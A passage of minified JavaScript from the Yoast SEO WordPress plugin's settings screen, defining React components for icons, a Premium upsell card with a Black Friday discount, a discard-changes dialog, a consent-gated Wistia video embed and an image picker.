500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),vr=({to:t,idSuffix:s="",...r})=>{const a=(0,i.useMemo)((()=>(0,le.replace)((0,le.replace)(`link-${t}`,"/","-"),"--","-")),[t]);return(0,e.createElement)(l.SidebarNavigation.SubmenuItem,{as:Et,pathProp:"to",id:`${a}${s}`,to:t,...r})};vr.propTypes={to:ir().string.isRequired,idSuffix:ir().string};const Er=({href:t,children:s,...r})=>(0,e.createElement)(l.Link,{target:"_blank",rel:"noopener noreferrer",...r,href:t},s,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,Lt.__)("(Opens in a new browser tab)","wordpress-seo")));Er.propTypes={href:ir().string.isRequired,children:ir().node},Er.defaultProps={children:null};const xr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var kr,Sr,Lr;function Tr(){return Tr=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Tr.apply(this,arguments)}const Fr=t=>e.createElement("svg",Tr({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},t),kr||(kr=e.createElement("defs",null,e.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),Sr||(Sr=e.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),Lr||(Lr=e.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),e.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function $r(){return $r=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},$r.apply(this,arguments)}const Pr=t=>e.createElement("svg",$r({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},t),e.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var Rr,Nr,Ir,Or,Cr,Ar,Mr,Dr,Br;function Ur(){return Ur=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Ur.apply(this,arguments)}const Vr=t=>e.createElement("svg",Ur({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},t),Rr||(Rr=e.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),Nr||(Nr=e.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),Ir||(Ir=e.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),Or||(Or=e.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),Cr||(Cr=e.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),Ar||(Ar=e.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),Mr||(Mr=e.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),Dr||(Dr=e.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),Br||(Br=e.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),jr=({link:t,linkProps:s,isPromotionActive:r})=>{let a=(0,i.useMemo)((()=>(0,Lt.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),o=(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,Lt.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,e.createElement)("span",{className:"yst-whitespace-nowrap"})});const n=r("black-friday-2024-promotion");return n&&(a=(0,i.useMemo)((()=>(0,Lt.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),o=(0,i.createInterpolateElement)((0,Lt.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,Lt.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,e.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,e.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,e.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,e.createElement)(Vr,null)),n&&(0,e.createElement)("div",{className:"sidebar__sale_banner_container"},(0,e.createElement)("div",{className:"sidebar__sale_banner"},(0,e.createElement)("span",{className:"banner_text"},(0,Lt.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,e.createElement)(l.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},o),(0,e.createElement)("p",{className:"yst-mt-2"},a),(0,e.createElement)(l.Button,{as:"a",variant:"upsell",href:t,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...s},(0,e.createElement)("span",null,n?(0,Lt.__)("Buy now","wordpress-seo"):o),(0,e.createElement)(xr,{className:"yst-w-4 yst-h-4 yst-icon-rtl"})),(0,e.createElement)("p",{className:"yst-text-center yst-text-xs yst-mx-2 yst-font-light yst-leading-5 yst-mt-2"},!n&&(0,e.createElement)(e.Fragment,null,(0,Lt.__)("Only $/€/£99 per year (ex VAT)","wordpress-seo"),(0,e.createElement)("br",null)),(0,Lt.__)("30-day money back guarantee.","wordpress-seo")),(0,e.createElement)("hr",{className:"yst-border-t yst-border-primary-300 yst-my-4"}),(0,e.createElement)("a",{className:"yst-block yst-mt-4 yst-no-underline",href:"https://www.g2.com/products/yoast-yoast/reviews",target:"_blank",rel:"noopener noreferrer"},(0,e.createElement)("span",{className:"yst-font-medium yst-text-white hover:yst-underline"},(0,Lt.__)("Read reviews from real users","wordpress-seo")),(0,e.createElement)("span",{className:"yst-flex yst-gap-2 yst-mt-2 yst-items-center"},(0,e.createElement)(br,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)("span",{className:"yst-flex yst-gap-1"},(0,e.createElement)(Pr,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(Pr,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(Pr,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(Pr,{className:"yst-w-5 yst-h-5"}),(0,e.createElement)(Fr,{className:"yst-w-5 yst-h-5"})),(0,e.createElement)("span",{className:"yst-text-sm yst-font-semibold yst-text-white"},"4.6 / 5"))))};jr.propTypes={link:ir().string.isRequired,linkProps:ir().object,isPromotionActive:ir().func},jr.defaultProps={linkProps:{},isPromotionActive:le.noop};const zr=({premiumLink:t,premiumUpsellConfig:s,isPromotionActive:r})=>{const a=r("black-friday-2024-promotion");return(0,e.createElement)(l.Paper,{as:"div",className:"xl:yst-max-w-3xl"},a&&(0,e.createElement)("div",{className:"yst-rounded-t-lg yst-h-9 yst-flex yst-justify-between yst-items-center yst-bg-black yst-text-amber-300 yst-px-4 yst-text-lg yst-border-b yst-border-amber-300 yst-border-solid yst-font-semibold"},(0,e.createElement)("div",null,(0,Lt.__)("30% OFF","wordpress-seo")),(0,e.createElement)("div",null,(0,Lt.__)("BLACK FRIDAY","wordpress-seo"))),(0,e.createElement)("div",{className:"yst-p-6 yst-flex yst-flex-col"},(0,e.createElement)(l.Title,{as:"h2",size:"4",className:"yst-text-xl yst-text-primary-500"},(0,Lt.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,Lt.__)("Upgrade to %s","wordpress-seo"),"Yoast SEO Premium")),(0,e.createElement)("ul",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 yst-gap-x-6 yst-list-disc yst-pl-[1em] yst-list-outside yst-text-slate-800 yst-mt-6"},[(0,Lt.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Lt.__)("%1$sAI%2$s: Better SEO titles and meta descriptions, faster.","wordpress-seo"),"<strong>","</strong>"),(0,Lt.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Lt.__)("%1$sMultiple keywords%2$s: Rank higher for more searches.","wordpress-seo"),"<strong>","</strong>"),(0,Lt.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Lt.__)("%1$sSuper fast%2$s internal linking suggestions.","wordpress-seo"),"<strong>","</strong>"),(0,Lt.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Lt.__)("%1$sNo more broken links%2$s: Automatic redirect manager.","wordpress-seo"),"<strong>","</strong>"),(0,Lt.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Lt.__)("%1$sAppealing social previews%2$s people actually want to click on.","wordpress-seo"),"<strong>","</strong>"),(0,Lt.sprintf)(/* translators: %1$s expands to a strong opening tag, %2$s expands to a strong closing tag. */
(0,Lt.__)("%1$s24/7 support%2$s: Also on evenings and weekends.","wordpress-seo"),"<strong>","</strong>")].map(((t,s)=>(0,e.createElement)("li",{key:`upsell-benefit-${s}`},(0,i.createInterpolateElement)(t,{strong:(0,e.createElement)("span",{className:"yst-font-semibold"})}))))),(0,e.createElement)(l.Button,{as:"a",variant:"upsell",size:"extra-large",href:t,className:"yst-gap-2 yst-mt-4",target:"_blank",rel:"noopener",...s},a?(0,Lt.__)("Claim your 30% off now!","wordpress-seo"):(0,Lt.sprintf)(/* translators: %s expands to "Yoast SEO" Premium */
(0,Lt.__)("Explore %s now!","wordpress-seo"),"Yoast SEO Premium"),(0,e.createElement)(xr,{className:"yst-w-4 yst-h-4 yst-icon-rtl"}))))};zr.propTypes={premiumLink:ir().string.isRequired,premiumUpsellConfig:ir().object,isPromotionActive:ir().func},zr.defaultProps={premiumUpsellConfig:{},isPromotionActive:le.noop};const qr=({premiumLink:t,premiumUpsellConfig:s,academyLink:r,isPromotionActive:a})=>(0,e.createElement)("div",{className:"yst-grid yst-grid-cols-1 sm:yst-grid-cols-2 min-[783px]:yst-grid-cols-1 lg:yst-grid-cols-2 xl:yst-grid-cols-1 yst-gap-4"},(0,e.createElement)(jr,{link:t,linkProps:s,isPromotionActive:a}),(0,e.createElement)(lr,{link:r}));qr.propTypes={premiumLink:ir().string.isRequired,premiumUpsellConfig:ir().object.isRequired,academyLink:ir().string.isRequired,isPromotionActive:ir().func.isRequired};const Wr=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))})),Hr=({isOpen:t,onClose:s=le.noop,onDiscard:r=le.noop,title:a,description:o,dismissLabel:n,discardLabel:i})=>{const c=(0,l.useSvgAria)();return(0,e.createElement)(l.Modal,{isOpen:t,onClose:s},(0,e.createElement)(l.Modal.Panel,{closeButtonScreenReaderText:(0,Lt.__)("Close","wordpress-seo")},(0,e.createElement)("div",{className:"sm:yst-flex sm:yst-items-start"},(0,e.createElement)("div",{className:"yst-mx-auto yst-flex-shrink-0 yst-flex yst-items-center yst-justify-center yst-h-12 yst-w-12 yst-rounded-full yst-bg-red-100 sm:yst-mx-0 sm:yst-h-10 sm:yst-w-10"},(0,e.createElement)(Wr,{className:"yst-h-6 yst-w-6 yst-text-red-600",...c})),(0,e.createElement)("div",{className:"yst-mt-3 yst-text-center sm:yst-mt-0 sm:yst-ml-4 sm:yst-text-left"},(0,e.createElement)(l.Modal.Title,{className:"yst-text-lg yst-leading-6 yst-font-medium yst-text-slate-900 yst-mb-3"},a),(0,e.createElement)(l.Modal.Description,{className:"yst-text-sm yst-text-slate-500"},o))),(0,e.createElement)("div",{className:"yst-flex yst-flex-col sm:yst-flex-row-reverse yst-gap-3 yst-mt-6"},(0,e.createElement)(l.Button,{type:"button",variant:"error",onClick:r,className:"yst-block"},i),(0,e.createElement)(l.Button,{type:"button",variant:"secondary",onClick:s,className:"yst-block"},n))))};Hr.propTypes={isOpen:ir().bool.isRequired,onClose:ir().func,onDiscard:ir().func,title:ir().string.isRequired,description:ir().string.isRequired,dismissLabel:ir().string.isRequired,discardLabel:ir().string.isRequired};const Yr=window.yoast.reactHelmet,Gr=({videoId:t,thumbnail:s,wistiaEmbedPermission:r})=>{const[a,o]=(0,i.useState)(r.value?as:ss),n=(0,i.useCallback)((()=>o(as)),[o]),c=(0,i.useCallback)((()=>{r.value?n():o(rs)}),[r.value,n,o]),d=(0,i.useCallback)((()=>o(ss)),[o]),u=(0,i.useCallback)((()=>{r.set(!0),n()}),[r.set,n]);return(0,e.createElement)(e.Fragment,null,r.value&&(0,e.createElement)(Yr.Helmet,null,(0,e.createElement)("script",{src:"https://fast.wistia.com/assets/external/E-v1.js",async:!0})),(0,e.createElement)("div",{className:"yst-relative yst-w-full yst-h-0 yst-pt-[56.25%] yst-overflow-hidden yst-rounded-md yst-drop-shadow-md yst-bg-white"},a===ss&&(0,e.createElement)("button",{type:"button",className:"yst-absolute yst-inset-0 yst-button yst-p-0 yst-border-none yst-bg-white yst-transition-opacity yst-duration-1000 yst-opacity-100",onClick:c},(0,e.createElement)("img",{className:"yst-w-full yst-h-auto",alt:"",loading:"lazy",decoding:"async",...s})),a===rs&&(0,e.createElement)("div",{className:"yst-absolute yst-inset-0 yst-flex yst-flex-col yst-items-center yst-justify-center yst-bg-white"},(0,e.createElement)("p",{className:"yst-max-w-xs yst-mx-auto yst-text-center"},r.status===Xt&&(0,e.createElement)(l.Spinner,null),r.status!==Xt&&(0,Lt.sprintf)(/* translators: %1$s expands to Yoast SEO. %2$s expands to Wistia. */
(0,Lt.__)("To see this video, you need to allow %1$s to load embedded videos from %2$s.","wordpress-seo"),"Yoast SEO","Wistia")),(0,e.createElement)("div",{className:"yst-flex yst-mt-6 yst-gap-x-4"},(0,e.createElement)(l.Button,{type:"button",variant:"secondary",onClick:d,disabled:r.status===Xt},(0,Lt.__)("Deny","wordpress-seo")),(0,e.createElement)(l.Button,{type:"button",variant:"primary",onClick:u,disabled:r.status===Xt},(0,Lt.__)("Allow","wordpress-seo")))),r.value&&a===as&&(0,e.createElement)("div",{className:"yst-absolute yst-w-full yst-h-full yst-top-0 yst-left-0"},null===t&&(0,e.createElement)(l.Spinner,{className:"yst-h-full yst-mx-auto"}),null!==t&&(0,e.createElement)("div",{className:`wistia_embed wistia_async_${t} videoFoam=true`}))))};var Kr,Zr;function Jr(){return Jr=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},Jr.apply(this,arguments)}Gr.propTypes={videoId:ir().string.isRequired,thumbnail:ir().shape({src:ir().string.isRequired,width:ir().string,height:ir().string}).isRequired,wistiaEmbedPermission:ir().shape({value:ir().bool.isRequired,status:ir().string.isRequired,set:ir().func.isRequired}).isRequired};const Qr=t=>e.createElement("svg",Jr({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",className:"yoast-logo_svg__w-40",viewBox:"0 0 842 224"},t),Kr||(Kr=e.createElement("path",{fill:"#a61e69",d:"M166.55 54.09c-38.69 0-54.17 25.97-54.17 54.88s15.25 56.02 54.17 56.02 54.07-27.19 54-54.26c-.09-32.97-16.77-56.65-54-56.65Zm-23.44 56.52c.94-38.69 30.66-38.65 40.59-24.79 9.05 12.63 10.9 55.81-17.14 55.5-12.92-.14-23.06-8.87-23.44-30.71Zm337.25 27.55V82.11h20.04V57.78h-20.04V28.39h-30.95v29.39h-15.7v24.33h15.7v52.87c0 30.05 20.95 47.91 43.06 51.61l9.24-24.88c-12.89-1.63-21.23-11.27-21.35-23.54Zm-156.15-8.87V87.16c0-1.54-.1-2.98-.25-4.39-2.68-34.04-51.02-33.97-88.46-20.9l10.82 21.78c24.38-11.58 38.97-8.59 44.07-2.89.13.15.26.29.38.45.01.02.03.04.04.06 2.6 3.51 1.98 9.05 1.98 13.41-31.86 0-65.77 4.23-65.77 39.17 0 26.56 33.28 43.65 68.06 18.33l5.16 12.45h29.81c-2.66-14.62-5.85-27.14-5.85-35.34Zm-31.18-.23c-24.51 27.43-46.96 1.61-23.97-9.65 6.77-2.31 15.95-2.41 23.97-2.41v12.06Zm78.75-44.17c0-10.38 16.61-15.23 42.82-3.27l9.06-22.01c-35.27-10.66-83.44-11.62-83.75 25.28-.15 17.68 11.19 27.19 27.52 33.26 11.31 4.2 27.64 6.38 27.59 15.39-.06 11.77-25.38 13.57-48.42-2.26l-9.31 23.87c31.43 15.64 89.87 16.08 89.56-23.12-.31-38.76-55.08-32.11-55.08-47.14ZM99.3 1 54.44 125.61 32.95 58.32H1l35.78 91.89a33.49 33.49 0 0 1 0 24.33c-4 10.25-10.65 19.03-26.87 21.21v27.24c31.58 0 48.65-19.41 63.88-61.96L133.48 1H99.3ZM598.64 139.05c0 8.17-2.96 14.58-8.87 19.23-5.91 4.65-14.07 6.98-24.47 6.98s-18.92-1.61-25.54-4.84v-14.2c4.19 1.97 8.65 3.52 13.37 4.65 4.72 1.13 9.11 1.7 13.18 1.7 5.95 0 10.35-1.13 13.18-3.39 2.83-2.26 4.25-5.3 4.25-9.11 0-3.43-1.3-6.35-3.9-8.74-2.6-2.39-7.97-5.22-16.1-8.48-8.39-3.39-14.3-7.27-17.74-11.63-3.44-4.36-5.16-9.59-5.16-15.71 0-7.67 2.72-13.7 8.18-18.1 5.45-4.4 12.77-6.6 21.95-6.6s17.57 1.93 26.29 5.78l-4.78 12.26c-8.18-3.43-15.47-5.15-21.89-5.15-4.87 0-8.55 1.06-11.07 3.17-2.52 2.12-3.77 4.91-3.77 8.39 0 2.39.5 4.43 1.51 6.13s2.66 3.3 4.97 4.81c2.3 1.51 6.46 3.5 12.45 5.97 6.75 2.81 11.7 5.43 14.85 7.86 3.15 2.43 5.45 5.18 6.92 8.23 1.46 3.06 2.2 6.66 2.2 10.81Zm68.53 24.96h-52.02V72.12h52.02v12.7h-36.99v25.01h34.66v12.57h-34.66v28.85h36.99v12.76Zm100.24-46.07c0 14.96-3.74 26.59-11.23 34.88-7.49 8.3-18.08 12.44-31.8 12.44s-24.54-4.12-31.99-12.35c-7.44-8.23-11.17-19.93-11.17-35.1s3.74-26.82 11.23-34.95c7.49-8.13 18.17-12.19 32.05-12.19s24.24 4.13 31.7 12.38c7.47 8.26 11.2 19.88 11.2 34.88Zm-70.2 0c0 11.31 2.29 19.89 6.86 25.74 4.57 5.85 11.35 8.77 20.32 8.77s15.67-2.89 20.22-8.67c4.55-5.78 6.82-14.39 6.82-25.83s-2.25-19.82-6.76-25.64-11.23-8.74-20.16-8.74-15.82 2.91-20.41 8.74c-4.59 5.82-6.89 14.37-6.89 25.64Z"})),Zr||(Zr=e.createElement("path",{fill:"#77b227",d:"m790.45 165.35 36.05-94.96H840l-36.02 94.96h-13.53z"}))),Xr=({name:e})=>{const t=aa("selectPreference",[],"isNetworkAdmin"),s=aa("selectPreference",[],"isMainSite"),r=(0,i.useMemo)((()=>"wpseo.tracking"===e&&!t&&!s),[e,t,s]),a=(0,i.useMemo)((()=>(0,le.get)(window,`wpseoScriptData.disabledSettings.${e}`,"")),[]),o=(0,i.useMemo)((()=>{if(r)return(0,Lt.__)("Unavailable for sub-sites","wordpress-seo");switch(a){case"multisite":return(0,Lt.__)("Unavailable for multisites","wordpress-seo");case"network":return(0,Lt.__)("Network disabled","wordpress-seo");case"language":return(0,Lt.__)("Only available for English sites","wordpress-seo");default:return""}}),[a,r]);return{isDisabled:(0,i.useMemo)((()=>!(0,le.isEmpty)(o)),[o]),message:o,disabledSetting:a}},ea="@yoast/settings",ta=()=>(0,a.useDispatch)(ea);var sa=s(1206),ra=s.n(sa);const aa=(e,t=[],...s)=>(0,a.useSelect)((t=>{var r,a;return null===(r=(a=t(ea))[e])||void 0===r?void 0:r.call(a,...s)}),t),oa=({id:t,children:s,title:r,description:a=null})=>{const o=aa("selectPreference",[],"isPremium");return(0,e.createElement)(_r,{id:t,title:r,description:a,variant:o?"xl":"2xl"},s)};oa.propTypes={id:ir().string,children:ir().node.isRequired,title:ir().node.isRequired,description:ir().node};const na=oa;var ia=s(8133);const la=({children:t})=>{const{isSubmitting:s,status:r,dirty:a,resetForm:o,initialValues:n}=q(),c=aa("selectIsMediaLoading"),d=(0,i.useMemo)((()=>(0,le.includes)((0,le.values)(r),!0)),[r]),[u,,,p,m]=(0,l.useToggleState)(!1),f=(0,i.useCallback)((()=>{m(),o({values:n})}),[o,n,m]);return(0,e.createElement)(se,{className:"yst-flex yst-flex-col yst-h-full"},(0,e.createElement)("div",{className:"yst-flex-grow yst-p-8"},t),(0,e.createElement)("footer",{className:"yst-sticky yst-bottom-0 yst-z-10"},(0,e.createElement)(ia.Z,{easing:"ease-in-out",duration:300,height:a?"auto":0,animateOpacity:!0},(0,e.createElement)("div",{className:"yst-bg-slate-50 yst-border-slate-200 yst-border-t yst-rounded-b-lg"},(0,e.createElement)("div",{className:"yst-flex yst-align-middle yst-space-x-3 yst-p-8"},(0,e.createElement)(l.Button,{id:"button-submit-settings",type:"submit",isLoading:s,disabled:s||c||d},(0,Lt.__)("Save changes","wordpress-seo")),(0,e.createElement)(l.Button,{id:"button-undo-settings",type:"button",variant:"secondary",disabled:!a,onClick:p},(0,Lt.__)("Discard changes","wordpress-seo")),(0,e.createElement)(Hr,{isOpen:u,onClose:m,title:(0,Lt.__)("Discard all changes","wordpress-seo"),description:(0,Lt.__)("You are about to discard all unsaved changes. All of your settings will be reset to the point where you last saved. Are you sure you want to do this?","wordpress-seo"),onDiscard:f,dismissLabel:(0,Lt.__)("No, continue editing","wordpress-seo"),discardLabel:(0,Lt.__)("Yes, discard changes","wordpress-seo")}))))))};la.propTypes={children:ir().node.isRequired};const ca=la,da=t=>{const[s,,{setTouched:r,setValue:a}]=ee({...t,type:"checkbox"}),o=(0,i.useCallback)((e=>{r(!0,!1),a(!e)}),[t.name]);return(0,e.createElement)(l.ToggleField,{...s,checked:(0,le.isUndefined)(t.checked)?!s.checked:!t.checked,onChange:o,...t})};da.propTypes={name:ir().string.isRequired,checked:ir().bool};const ua=da,pa=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16l4.586-4.586a2 2 0 012.828 0L16 16m-2-2l1.586-1.586a2 2 0 012.828 0L20 14m-6-6h.01M6 20h12a2 2 0 002-2V6a2 2 0 00-2-2H6a2 2 0 00-2 2v12a2 2 0 002 2z"}))})),ma={variant:{square:"yst-h-48 yst-w-48",landscape:"yst-h-48 yst-w-96",portrait:"yst-h-96 yst-w-48"}},fa=({label:t="",description:s="",icon:r=pa,disabled:a=!1,isDummy:o=!1,libraryType:n="image",variant:c="landscape",id:d,mediaUrlName:u,mediaIdName:p,fallbackMediaId:m="0",previewLabel:f="",selectLabel:h=(0,Lt.__)("Select image","wordpress-seo"),replaceLabel:y=(0,Lt.__)("Replace image","wordpress-seo"),removeLabel:_=(0,Lt.__)("Remove image","wordpress-seo"),className:w=""})=>{const{values:g,setFieldValue:b,setFieldTouched:v,errors:E}=q(),[x,k]=(0,i.useState)(null),S=(0,i.useMemo)((()=>(0,le.get)(window,"wp.media",null)),[]),L=(0,i.useMemo)((()=>(0,le.get)(g,p,"")),[g,p]),T=aa("selectMediaById",[L],L),F=aa("selectIsMediaError"),$=aa("selectMediaById",[m],m),{fetchMedia:P,addOneMedia:R}=ta(),N=(0,i.useMemo)((()=>(0,le.get)(E,p,"")),[E,p]),I=(0,i.useMemo)((()=>a||o),[o,a]),{ids:O,describedBy:C}=(0,l.useDescribedBy)(`field-${d}-id`,{description:s,error:N}),A=(0,i.useMemo)((()=>L>0?T:m>0?$:null),[L,T,m,$]),M=(0,i.useMemo)((()=>(0,le.join)((0,le.map)((null==T?void 0:T.sizes)||(null==$?void 0:$.sizes),(e=>`${null==e?void 0:e.url} ${null==e?void 0:e.width}w`)),", ")),[T,$]),D=(0,i.useCallback)((()=>{o||null==x||x.open()}),[o,x]),B=(0,i.useCallback)((()=>{o||(v(u,!0,!1),b(u,"",!1),v(p,!0,!1),b(p,""))}),[o,v,b,u,p]),U=(0,i.useCallback)((()=>{var e,t,s;if(o)return;const r=(null===(e=x.state())||void 0===e||null===(t=e.get("selection"))||void 0===t||null===(s=t.first())||void 0===s?void 0:s.toJSON())||{};v(u,!0,!1),b(u,r.url,!1),v(p,!0,!1),b(p,r.id),R(r)}),[o,x,v,b,u,p]);return(0,i.useEffect)((()=>{S&&k(S({title:t,multiple:!1,library:{type:n}}))}),[S,t,n,k]),(0,i.useEffect)((()=>(null==x||x.on("select",U),()=>null==x?void 0:x.off("select",U))),[x,U]),(0,i.useEffect)((()=>{L&&!T&&P([L]),m&&!$&&P([m])}),[]),(0,e.createElement)("fieldset",{id:d,className:"yst-min-w-0 yst-w-96 yst-max-w-full"},(0,e.createElement)(te,{type:"hidden",name:p,id:`input-${d}-id`,"aria-describedby":C,disabled:I}),(0,e.createElement)(te,{type:"hidden",name:u,id:`input-${d}-url`,"aria-describedby":C,disabled:I}),t&&(0,e.createElement)(l.Label,{as:"legend",className:or()("yst-mb-2",I&&"yst-opacity-50 yst-cursor-not-allowed")},t),(0,e.createElement)("button",{type:"button",id:`button-${d}-preview`,onClick:D,className:or()("yst-overflow-hidden yst-flex yst-justify-center yst-items-center yst-max-w-full yst-rounded-md yst-mb-4 yst-border-slate-300 focus:yst-outline-none focus:yst-ring-2 focus:yst-ring-offset-2 focus:yst-ring-primary-500",!o&&A?"yst-bg-slate-50 yst-border":"yst-border-2 yst-border-dashed",I&&"yst-opacity-50 yst-cursor-not-allowed",ma.variant[c],w),disabled:I},!o&&A?(0,e.createElement)(e.Fragment,null,(0,e.createElement)("span",{className:"yst-sr-only"},y),(0,e.createElement)("img",{src:null==A?void 0:A.url,alt:(null==A?void 0:A.alt)||"",srcSet:M,sizes:"landscape"===c?"24rem":"12rem",width:"landscape"===c?"24rem":"12rem",loading:"lazy",decoding:"async",className:"yst-object-cover yst-object-center yst-min-h-full 